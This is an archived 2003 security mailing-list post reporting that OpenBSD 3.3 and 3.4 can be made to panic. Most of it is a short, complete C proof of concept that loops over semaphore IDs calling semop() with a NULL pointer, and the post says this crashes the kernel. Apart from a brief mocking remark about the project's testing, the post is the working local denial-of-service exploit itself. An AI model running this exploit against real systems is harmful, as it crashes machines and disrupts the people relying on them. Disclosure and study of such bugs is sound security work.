OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
yet another panic() in OpenBSD

noiruberhax0r.net
Date: Fri Nov 21 2003 - 16:46:01 CST


a project lacking the basic QA and unit testing and here is the outcome:

#include <stdio.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/ipc.h>

int
main()
{
    int i;

        for(i = 0; i < 0x40; i++)
                semop(i, (struct sembuf *) NULL, 0);

}

PANIC in OpenBSD 3.3 and 3.4 is confirmed.